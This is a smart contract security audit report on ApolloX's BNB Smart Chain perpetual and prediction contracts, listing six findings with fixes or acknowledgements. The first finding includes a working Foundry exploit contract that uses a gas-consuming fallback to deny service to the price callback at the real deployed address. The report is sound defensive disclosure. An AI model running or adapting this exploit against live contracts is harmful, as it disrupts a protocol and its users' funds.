SALUS SECURITY

NOV 2023

CODE SECURITY ASSESSMENT

APOLLOX

Overview

Project Summary

- Name: ApolloX - Incremental Audit
- Platform: BNB Smart Chain
- Language: Solidity
- Repository: https://github.com/apollox-finance/apollox-perp-contracts
- Audit Scope: See Appendix - 1

Project Dashboard

Application Summary

Name	ApolloX - Incremental Audit
Version	v2
Type	Solidity
Dates	Nov 22 2023
Logs	Nov 21 2023; Nov 22 2023

Vulnerability Summary

Total High-Severity issues	1
Total Medium-Severity issues	1
Total Low-Severity issues	1
Total Informational issues	3
Total	6

Contact

E-mail: support@salusec.io

Risk Level Description

High Risk	The issue puts a large number of users' sensitive information at risk, or is reasonably likely to lead to catastrophic impact for clients' reputations or serious financial implications for clients and users.
Medium Risk	The issue puts a subset of users' sensitive information at risk, would be detrimental to the client's reputation if exploited, or is reasonably likely to lead to a moderate financial impact.
Low Risk	The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low impact in view of the client's business circumstances.
Informational	The issue does not pose an immediate risk, but is relevant to security best practices or defense in depth.

Content

Introduction

1.1 About SALUS

At Salus Security, we are in the business of trust.

We are dedicated to tackling the toughest security challenges facing the industry today. By building foundational trust in technology and infrastructure through security, we help clients to lead their respective industries and unlock their full Web3 potential.

Our team of security experts employ industry-leading proof-of-concept (PoC) methodology for demonstrating smart contract vulnerabilities, coupled with advanced red teaming capabilities and a stereoscopic vulnerability detection service, to deliver comprehensive security assessments that allow clients to stay ahead of the curve.

In addition to smart contract audits and red teaming, our Rapid Detection Service for smart contracts aims to make security accessible to all. This high calibre, yet cost-efficient, security tool has been designed to support a wide range of business needs including investment due diligence, security and code quality assessments, and code optimisation.

We are reachable on Telegram (https://t.me/salusec), Twitter (https://twitter.com/salus_sec), or Email (support@salusec.io).

1.2 Audit Breakdown

The objective was to evaluate the repository for security-related issues, code quality, and adherence to specifications and best practices. Possible issues we looked for included (but are not limited to):

- Risky external calls
- Integer overflow/underflow
- Transaction-ordering dependence
- Timestamp dependence
- Access control
- Call stack limits and mishandled exceptions
- Number rounding errors
- Centralization of power
- Logical oversights and denial of service
- Business logic specification
- Code clones, functionality duplication

1.3 Disclaimer

Note that this security audit is not designed to replace functional tests required before any software release and does not give any warranties on finding all possible security issues with the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues.

Findings

2.1 Summary of Findings

ID	Title	Severity	Category	Status
1	Allowing native token transfers could lead to a DOS attack in requestPriceCallback()	High	Denial of Service	Resolved
2	settlePredictions() could be DOSed	Medium	Denial of Service	Resolved
3	Attacker could DOS requestPrice() by sending multiple requests	Low	Denial of Service	Acknowledged
4	Lack of data validations	Informational	Data validation	Resolved
5	TransferHelper will cause wrapper tokens to not be able to participate directly	Informational	Business Logic	Acknowledged
6	Pair with high decimals price feed might be incompatible with the system	Informational	Data validation	Acknowledged

2.2 Notable Findings

Significant flaws that impact system confidentiality, integrity, or availability are listed below.

1. Allowing native token transfers could lead to a DOS attack in requestPriceCallback()	
Severity: High	Category: Denial of Service
Target: - contracts/diamond/facets/PriceFacadeFacet.sol - contracts/diamond/libraries/LibPriceFacade.sol	

Description

When users make open, close, or predict requests in one block for one pair token, they are assigned the same requestId. The individual ids of these requests are stored in the priceFacadeStorage().pendingPrices[requestId].ids array. When the price feeder calls requestPriceCallback(), this function iterates over the array mentioned above and processes each id within the loop.

During the processing of the open/predict request, if a refund of the native token occurs, the control flow will be directed to the receiver contract, which is controlled by the users. Malicious attackers can exploit this vulnerability to launch a denial of service (DOS) attack on the requestPriceCallback() function.

Attach Scenario

To dos the requestPriceCallback() for a certain pair token (let's say BTC/USD) and for requests in a certain block, a malicious attacker can do the following:

1. Deploy a malicious contract.
2. Within the malicious contract, call predictAndBetBNB() with "true" for the isUp parameter and "0" for the price parameter. This will create a predict request that could trigger the refund process
3. During the refund process, the malicious contract can consume all the gas provided, which is 63/64 of the gas from the outer caller.
4. The malicious contract can create multiple requests similar to step 2, each consuming 63/64 of the gas during processing. Consequently, there won't be enough gas remaining for the rest of the flow.
5. Based on our testing, we found that creating three requests is sufficient to cause an out-of-gas error in the requestPriceCallback() function.
6. Since the try-catch statement for requests does not handle the out-of-gas EVM error (the `catch (Bytes memory) {}` branch is missing), the requestPriceCallback() call will revert.

Proof of Concept

Here is a forking test in Foundry framework to illustrate the scenario mentioned above.

```
pragma solidity ^0.8.19;

import {Test} from "forge-std/Test.sol";

import {Constants} from "../contracts/utils/Constants.sol";
import {AccessControlEnumerableFacet} from
"../contracts/diamond/facets/AccessControlEnumerableFacet.sol";
import {PredictUpDownFacet, IPredictUpDown} from
"../contracts/diamond/facets/PredictUpDownFacet.sol";
import {Period} from "../contracts/diamond/facets/PredictionManagerFacet.sol";
import {PriceFacadeFacet} from "../contracts/diamond/facets/PriceFacadeFacet.sol";

contract PoC is Test {
    address apollox = 0x1b6F2d3844C6ae7D56ceb3C3643b9060ba28FEb0;
    address apolloxPriceFeeder;

    Attacker private attacker;

    function setUp() public {
        vm.createSelectFork(vm.envString("BSC_RPC_URL"), 33_506_870);
        apolloxPriceFeeder =
AccessControlEnumerableFacet(apollox).getRoleMember(Constants.PRICE_FEEDER_ROLE, 0);

        attacker = new Attacker{value: 1 ether}();
    }

    function test_DOS() public {
        bytes32 requestId = attacker.attack();

        vm.prank(apolloxPriceFeeder);
        // this call will revert
        PriceFacadeFacet(apollox).requestPriceCallback{gas: 30_000_000}(requestId,
3556344722897);
    }
}

contract Attacker {
    address private constant apollox = 0x1b6F2d3844C6ae7D56ceb3C3643b9060ba28FEb0;
    address private constant BTC = 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c;
    address private constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;

    constructor() payable {}

    fallback() external payable {
        // consuming gas
        assembly {
            mstore(not(1), 1)
        }
    }

    function attack() external returns (bytes32 requestId) {
        uint256 amountIn = 5 * 1e16;

        IPredictUpDown.PredictionInput memory input = IPredictUpDown.PredictionInput({
            predictionPairBase: BTC,
            isUp: true,
            period: Period.MINUTE1,
            tokenIn: WBNB,
            amountIn: uint96(amountIn),
            price: 0,
            broker: 0
        });

        // create 3 requests
        PredictUpDownFacet(apollox).predictAndBetBNB{value: amountIn}(input);
        PredictUpDownFacet(apollox).predictAndBetBNB{value: amountIn}(input);
        PredictUpDownFacet(apollox).predictAndBetBNB{value: amountIn}(input);

        requestId = keccak256(abi.encode(BTC, block.number));
    }
}
```

By creating 3 requests using predictAndBetBNB(), the attacker contract can DOS attack the requestPriceCallback() function. This attack renders the price feeder unable to feed price for the affected requestId.

Recommendation

It is recommended to transfer the wrapped version of the native token instead of the native token when refunding the user.

Status

The team has resolved this issue in commit 28df1842.

2. settlePredictions() could be DOSed	
Severity: Medium	Category: Denial of Service
Target: - contracts/diamond/facets/PredictUpDownFacet.sol	

Description

In the settlePredictions() function, a loop is used to batch process the predictions.

contracts/diamond/facets/PredictUpDownFacet.sol:L150-L198

```
function _settlePredictionById(
    LibPredictUpDown.PredictionUpDownStorage storage puds, uint256 id, uint64 price
) private {
    ...
    // win
    if ((op.isUp && price > op.entryPrice) || (!op.isUp && price < op.entryPrice)) {
        ...

        tokenIn.transfer(user, betAmount + profit - closeFee);
        emit SettlePredictionSuccessful(id, true, price, tokenIn, profit, closeFee);
    } else { // loss }
}
```

When handling a win prediction, if the tokenIn is a native wrapped token, the contract will send native token to the user by using sendValue().

However, if the user address is a contract without fallback logic, the call will fail. As a result, other predictions in the SettlePrediction[] array will not be handled.

Recommendation

It is recommended to transfer the wrapped version of the native token instead of the native token when issuing rewards to users.

Status

The team has resolved this issue in commit 28df1842.

3. Attacker could DOS requestPrice() by sending multiple requests	
Severity: Low	Category: Denial of Service
Target: - contracts/diamond/libraries/LibPriceFacade.sol	

Description

In the requestPrice() function, there is a MAX_REQUESTS_PER_PAIR_IN_BLOCK limit on the number of requests, currently set to 100. Malicious attackers can DOS the requestPrice() function by sending this limit amount of requests. For example, a malicious user can send one open request and 99 close requests to block the requestPrice() function.

contracts/diamond/libraries/LibPriceFacade.sol:L144-L145

```
function requestPrice(bytes32 id, address token, RequestType requestType) internal {
    ...
    require(pendingPrice.ids.length < Constants.MAX_REQUESTS_PER_PAIR_IN_BLOCK,
"LibPriceFacade: The requests for price retrieval are too frequent.");
    pendingPrice.ids.push(IdInfo(id, requestType));
}
```

Recommendation

1. Consider increasing the fee for user requestPrice to raise the cost of "blocking system"

2. Consider evaluating the tradeHash for already submitted requests, ensuring that the same tradeHash should only be closed once.

Status

This issue has been acknowledged by the team.

2.3 Informational Findings

4. Lack of data validations	
Severity: Informational	Category: Data validation
Target: - contracts/diamond/libraries/LibPredictionManager.sol	

Description

a) The winRatio is checked when adding or removing PredictionPairs. But this check is missing in the updatePredictionPairPeriodWinRatio() function. This allows the winRatio to be updated to an invalid value.

b) There is no upper limit for the openFeeP in the updatePredictionPairFee() function. If the openFeeP is set to 100%, no user fund will be used for the user's bet.

Recommendation

Consider adding checks for winRation and openFeeP.

Status

The team has resolved this issue in commit 28df1842.

5. TransferHelper will cause wrapper tokens to not be able to participate directly

Severity: Informational	Category: Business Logic

Target:
- contracts/utils/TransferHelper.sol
- contracts/diamond/facets/AlpManagerFacet.sol
- contracts/diamond/facets/TradingPortalFacet.sol
- contracts/diamond/libraries/LibLimitOrder.sol

Description

The transferFrom function in TransferHelper was used to replace safeTransferFrom, but this function does not implement the transferFrom functionality for the wrapper token.

contracts/utils/TransferHelper.sol:L35-L42

```
function transferFrom(address token, address from, uint256 amount) internal {
    if (token != nativeWrapped()) {
        IERC20(token).safeTransferFrom(from, address(this), amount);
    } else {
        require(msg.value >= amount, "insufficient transfers");
        IWBNB(token).deposit{value: amount}();
    }
}
```

This will prevent users from opening, closing, and predicting positions using the wapper token.

Recommendation

Consider supporting the use of wrapper tokens for trading.

Status

This issue has been acknowledged by the team.

6. Pair with high decimals price feed might be incompatible with the system	
Severity: Informational	Category: Data validation
Target: - contracts/diamond/libraries/LibPriceFacade.sol	

Description

When a user makes a bet he sends an asset during calling predictAndBet() and requestPriceCallback() have to be triggered.

Then in function getPriceFromCacheOrOracle() we can see handling of received price:

contracts/diamond/libraries/LibPriceFacade.sol:L201-L210

```
function getPriceFromCacheOrOracle(PriceFacadeStorage storage pfs, address token)
internal view returns (uint64, uint40) {

    ...

    require(price <= type(uint64).max && price * 1e8 / (10 ** decimals) <=
type(uint64).max, "LibPriceFacade: Invalid price");

    ...

}
```

Notice that when the price is larger than type(uint64).max, the call reverts. However, there are some tokens that have high decimals in their price feed, meaning that their price may easily suppress the type(uint64).max limit. For example, the `AMPL/USD` price feed has 18 as its decimals. So when the price for AMPL is more than $18.5, the price received from the oracle will be larger than type(uint64).max.

Recommendation

It is recommended to be extra cautious with tokens that have high price feed decimals.

Status

This issue has been acknowledged by the team.

Appendix

Appendix 1 - Audit Scope

We audited the commit 60638b7 that introduced features to the apollox-finance/apollox-perp-contracts repository.